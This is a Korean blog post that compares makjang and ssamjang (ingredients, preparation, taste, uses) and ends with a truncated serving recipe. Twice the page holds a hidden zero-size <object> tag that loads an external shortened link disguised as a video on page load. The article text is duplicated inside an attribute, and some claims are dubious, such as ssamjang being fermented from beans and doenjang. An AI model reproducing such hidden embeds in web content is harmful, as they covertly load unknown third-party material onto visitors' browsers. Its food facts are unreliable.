막장 만드는법 막장 쌈장 차이 무슨 뜻일까

<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4"></object> <div _ngcontent-ng-c637416767="" class="markdown markdown-main-panel" dir="ltr" style="--animation-duration: 600ms; --fade-animation-function: linear; --first-token-animation-duration: 600ms;"><h2 data-sourcepos="1:1-1:25">막장, 쌈장: 맛있는 비밀을 파헤쳐보자!</h2>막장과 쌈장은 한국인의 식탁에서 빼놓을 수 없는 중요한 양념입니다. 두 종류 모두 콩을 주 재료로 사용하지만, 제조 과정과 맛, 용도에서 차이점을 가지고 있습니다. 오늘은 막장과 쌈장의 비밀을 파헤쳐보고, 직접 만들어 맛보는 재미를 느껴보세요!1. 막장과 쌈장의 차이점1.1 재료 및 제조 과정<ul data-sourcepos="9:1-19:0"> <li data-sourcepos="9:1-13:51">막장: <ul data-sourcepos="10:5-13:51"> <li data-sourcepos="10:5-10:39">재료: 콩, 메주, 고춧가루, 소금, 생강, 마늘 등</li> <li data-sourcepos="11:5-13:51">제조 과정: <ol data-sourcepos="12:9-13:51"> <li data-sourcepos="12:9-12:36">콩을 삶아 으깬 후 메주와 섞어 발효시킵니다.</li> <li data-sourcepos="13:9-13:51">발효가 완료되면 고춧가루, 소금, 생강, 마늘 등을 넣고 익혀 만듭니다.</li> </ol> </li> </ul> </li> <li data-sourcepos="14:1-19:0">쌈장: <ul data-sourcepos="15:5-19:0"> <li data-sourcepos="15:5-15:44">재료: 콩, 된장, 고춧가루, 참기름, 마늘, 소금, 설탕 등</li> <li data-sourcepos="16:5-19:0">제조 과정: <ol data-sourcepos="17:9-19:0"> <li data-sourcepos="17:9-17:36">콩을 삶아 으깬 후 된장과 섞어 발효시킵니다.</li> <li data-sourcepos="18:9-19:0">발효가 완료되면 고춧가루, 참기름, 마늘, 소금, 설탕 등을 넣고 익혀 만듭니다.</li> </ol> </li> </ul> </li> </ul>1.2 맛<ul data-sourcepos="22:1-32:0"> <li data-sourcepos="22:1-26:34">막장: <ul data-sourcepos="23:5-26:34"> <li data-sourcepos="23:5-23:41">맛: 매콤하고 짭짤하며, 깊은 풍미를 가지고 있습니다.</li> <li data-sourcepos="24:5-26:34">특징: <ul data-sourcepos="25:9-26:34"> <li data-sourcepos="25:9-25:38">매운맛이 강하고 쌈이나 회와 함께 먹기에 좋습니다.</li> <li data-sourcepos="26:9-26:34">칼칼한 맛으로 한국인의 입맛에 잘 맞습니다.</li> </ul> </li> </ul> </li> <li data-sourcepos="27:1-32:0">쌈장: <ul data-sourcepos="28:5-32:0"> <li data-sourcepos="28:5-28:61">맛: 부드러운 매콤함과 깊은 맛을 가지고 있으며, 달콤짭짤한 맛이 조화를 이루고 있습니다.</li> <li data-sourcepos="29:5-32:0">특징: <ul data-sourcepos="30:9-32:0"> <li data-sourcepos="30:9-30:47">막장보다 매운맛이 적고, 부드러운 맛으로 다양한 음식에 활용됩니다.</li> <li data-sourcepos="31:9-32:0">쌈, 회, 구이, 볶음 등 다양한 요리에 어울립니다.</li> </ul> </li> </ul> </li> </ul>1.3 용도<ul data-sourcepos="35:1-45:0"> <li data-sourcepos="35:1-39:46">막장: <ul data-sourcepos="36:5-39:46"> <li data-sourcepos="36:5-36:44">용도: 쌈, 회, 오이무침, 콩나물무침 등에 주로 사용됩니다.</li> <li data-sourcepos="37:5-39:46">팁: <ul data-sourcepos="38:9-39:46"> <li data-sourcepos="38:9-38:44">매운맛을 조절하기 위해 설탕이나 참기름을 첨가할 수 있습니다.</li> <li data-sourcepos="39:9-39:46">다진 마늘이나 생강을 넣으면 더욱 풍부한 맛을 즐길 수 있습니다.</li> </ul> </li> </ul> </li> <li data-sourcepos="40:1-45:0">쌈장: <ul data-sourcepos="41:5-45:0"> <li data-sourcepos="41:5-41:53">용도: 쌈, 회, 불고기, 돼지고기구이, 떡볶이 등 다양한 음식에 사용됩니다.</li> <li data-sourcepos="42:5-45:0">팁: <ul data-sourcepos="43:9-45:0"> <li data-sourcepos="43:9-43:48">참기름의 양을 조절하여 기름진 정도를 선호에 맞게 맞출 수 있습니다.</li> <li data-sourcepos="44:9-45:0">깨를 넣어 고소한 풍미를 더하거나, 아몬드 가루를 넣어 식감을 살릴 수 있습니다.</li> </ul> </li> </ul> </li> </ul>2. 직접 만들어보는 재미막장과 쌈장은 직접 만들어보면 더욱 맛있게 즐길 수 있습니다. 인터넷에는 다양한 레시피가 공개되어 있으니 참고하여 직접 만들어보세요. 직접 만든 막장과 쌈장으로 더욱 맛있고 건강한 식사를 즐기세요!3. 막장과 쌈장 활용 레시피3.1 쌈<ul data-sourcepos="54:1-57:42"> <li data-sourcepos="54:1-54:46">재료: 쌈 채소, 쌈장, 막장, 고추장, 참기름, 마늘, 소금, 설탕 등</li> <li data-sourcepos="55:1-57:42">만드는 방법: <ol data-sourcepos="56:5-57:42"> <li data-sourcepos="56:5-56:30">쌈 채소를 깨끗이 씻어 물기를 제거합니다.</li> <li data-sourcepos="57:5-57:42">쌈장, 막장, 고추장, 참기름, 마늘, 소금, 설탕 등을 넣고</li> </ol> </li> </ul></div> "><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object> <div _ngcontent-ng-c637416767="" class="markdown markdown-main-panel" dir="ltr" style="--animation-duration: 600ms; --fade-animation-function: linear; --first-token-animation-duration: 600ms;"><h2 data-sourcepos="1:1-1:25">막장, 쌈장: 맛있는 비밀을 파헤쳐보자!</h2>막장과 쌈장은 한국인의 식탁에서 빼놓을 수 없는 중요한 양념입니다. 두 종류 모두 콩을 주 재료로 사용하지만, 제조 과정과 맛, 용도에서 차이점을 가지고 있습니다. 오늘은 막장과 쌈장의 비밀을 파헤쳐보고, 직접 만들어 맛보는 재미를 느껴보세요!1. 막장과 쌈장의 차이점1.1 재료 및 제조 과정<ul data-sourcepos="9:1-19:0"> <li data-sourcepos="9:1-13:51">막장: <ul data-sourcepos="10:5-13:51"> <li data-sourcepos="10:5-10:39">재료: 콩, 메주, 고춧가루, 소금, 생강, 마늘 등</li> <li data-sourcepos="11:5-13:51">제조 과정: <ol data-sourcepos="12:9-13:51"> <li data-sourcepos="12:9-12:36">콩을 삶아 으깬 후 메주와 섞어 발효시킵니다.</li> <li data-sourcepos="13:9-13:51">발효가 완료되면 고춧가루, 소금, 생강, 마늘 등을 넣고 익혀 만듭니다.</li> </ol> </li> </ul> </li> <li data-sourcepos="14:1-19:0">쌈장: <ul data-sourcepos="15:5-19:0"> <li data-sourcepos="15:5-15:44">재료: 콩, 된장, 고춧가루, 참기름, 마늘, 소금, 설탕 등</li> <li data-sourcepos="16:5-19:0">제조 과정: <ol data-sourcepos="17:9-19:0"> <li data-sourcepos="17:9-17:36">콩을 삶아 으깬 후 된장과 섞어 발효시킵니다.</li> <li data-sourcepos="18:9-19:0">발효가 완료되면 고춧가루, 참기름, 마늘, 소금, 설탕 등을 넣고 익혀 만듭니다.</li> </ol> </li> </ul> </li> </ul>1.2 맛<ul data-sourcepos="22:1-32:0"> <li data-sourcepos="22:1-26:34">막장: <ul data-sourcepos="23:5-26:34"> <li data-sourcepos="23:5-23:41">맛: 매콤하고 짭짤하며, 깊은 풍미를 가지고 있습니다.</li> <li data-sourcepos="24:5-26:34">특징: <ul data-sourcepos="25:9-26:34"> <li data-sourcepos="25:9-25:38">매운맛이 강하고 쌈이나 회와 함께 먹기에 좋습니다.</li> <li data-sourcepos="26:9-26:34">칼칼한 맛으로 한국인의 입맛에 잘 맞습니다.</li> </ul> </li> </ul> </li> <li data-sourcepos="27:1-32:0">쌈장: <ul data-sourcepos="28:5-32:0"> <li data-sourcepos="28:5-28:61">맛: 부드러운 매콤함과 깊은 맛을 가지고 있으며, 달콤짭짤한 맛이 조화를 이루고 있습니다.</li> <li data-sourcepos="29:5-32:0">특징: <ul data-sourcepos="30:9-32:0"> <li data-sourcepos="30:9-30:47">막장보다 매운맛이 적고, 부드러운 맛으로 다양한 음식에 활용됩니다.</li> <li data-sourcepos="31:9-32:0">쌈, 회, 구이, 볶음 등 다양한 요리에 어울립니다.</li> </ul> </li> </ul> </li> </ul>1.3 용도<ul data-sourcepos="35:1-45:0"> <li data-sourcepos="35:1-39:46">막장: <ul data-sourcepos="36:5-39:46"> <li data-sourcepos="36:5-36:44">용도: 쌈, 회, 오이무침, 콩나물무침 등에 주로 사용됩니다.</li> <li data-sourcepos="37:5-39:46">팁: <ul data-sourcepos="38:9-39:46"> <li data-sourcepos="38:9-38:44">매운맛을 조절하기 위해 설탕이나 참기름을 첨가할 수 있습니다.</li> <li data-sourcepos="39:9-39:46">다진 마늘이나 생강을 넣으면 더욱 풍부한 맛을 즐길 수 있습니다.</li> </ul> </li> </ul> </li> <li data-sourcepos="40:1-45:0">쌈장: <ul data-sourcepos="41:5-45:0"> <li data-sourcepos="41:5-41:53">용도: 쌈, 회, 불고기, 돼지고기구이, 떡볶이 등 다양한 음식에 사용됩니다.</li> <li data-sourcepos="42:5-45:0">팁: <ul data-sourcepos="43:9-45:0"> <li data-sourcepos="43:9-43:48">참기름의 양을 조절하여 기름진 정도를 선호에 맞게 맞출 수 있습니다.</li> <li data-sourcepos="44:9-45:0">깨를 넣어 고소한 풍미를 더하거나, 아몬드 가루를 넣어 식감을 살릴 수 있습니다.</li> </ul> </li> </ul> </li> </ul>2. 직접 만들어보는 재미막장과 쌈장은 직접 만들어보면 더욱 맛있게 즐길 수 있습니다. 인터넷에는 다양한 레시피가 공개되어 있으니 참고하여 직접 만들어보세요. 직접 만든 막장과 쌈장으로 더욱 맛있고 건강한 식사를 즐기세요!3. 막장과 쌈장 활용 레시피3.1 쌈<ul data-sourcepos="54:1-57:42"> <li data-sourcepos="54:1-54:46">재료: 쌈 채소, 쌈장, 막장, 고추장, 참기름, 마늘, 소금, 설탕 등</li> <li data-sourcepos="55:1-57:42">만드는 방법: <ol data-sourcepos="56:5-57:42"> <li data-sourcepos="56:5-56:30">쌈 채소를 깨끗이 씻어 물기를 제거합니다.</li> <li data-sourcepos="57:5-57:42">쌈장, 막장, 고추장, 참기름, 마늘, 소금, 설탕 등을 넣고</li> </ol> </li> </ul></div> </div></div>